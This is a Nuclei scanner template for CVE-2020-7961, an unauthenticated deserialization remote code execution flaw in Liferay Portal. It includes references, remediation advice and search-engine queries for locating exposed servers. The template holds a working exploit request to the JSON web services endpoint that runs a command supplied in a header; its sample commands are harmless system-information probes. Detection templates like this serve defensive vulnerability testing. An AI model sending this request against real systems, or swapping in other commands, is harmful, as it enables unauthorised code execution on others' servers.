id: CVE-2020-7961

info:
  name: Liferay Portal Unauthenticated < 7.2.1 CE GA2 - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: Liferay Portal prior to 7.2.1 CE GA2 allows remote attackers to execute arbitrary code via JSON web services (JSONWS).
  remediation: |
    Upgrade Liferay Portal to version 7.2.1 CE GA2 or later to mitigate the vulnerability.
  reference:
    - https://www.synacktiv.com/en/publications/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html
    - https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
    - https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7961
    - http://packetstormsecurity.com/files/157254/Liferay-Portal-Java-Unmarshalling-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-7961
    cwe-id: CWE-502
    epss-score: 0.97342
    epss-percentile: 0.99876
    cpe: cpe:2.3:a:liferay:liferay_portal:*:*:*:*:community:*:*:*
  metadata:
    max-request: 2
    vendor: liferay
    product: liferay_portal
    shodan-query:
      - http.favicon.hash:129457226
      - cpe:"cpe:2.3:a:liferay:liferay_portal"
    fofa-query: icon_hash=129457226
  tags: cve2020,cve,packetstorm,rce,liferay,kev

http:
  - raw:
      - |
        POST /api/jsonws/invoke HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData
        cmd2: {{command}}

        cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth={{to_lower(rand_text_alpha(5))}}&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%[encoded data, 4688 characters]%3B%22%7D

    payloads:
      command:
        - "systeminfo" # Windows
        - "lsb_release -a" # Linux

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "OS Name:.*Microsoft Windows"
          - "Distributor ID:"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "Microsoft Windows (.*)"
          - "Distributor ID: (.*)"
        part: body
# digest: 4b0a00483046022100ee74756a010668d5e79deb2b7b22a9b973b51831052c27e9a969625d937b7d1d022100d9fce4cdaccaa56efc31bd741410c9b043b6951a8d9ae81aa11a77694957e404:922c64590222798bb761d5b6d8e72950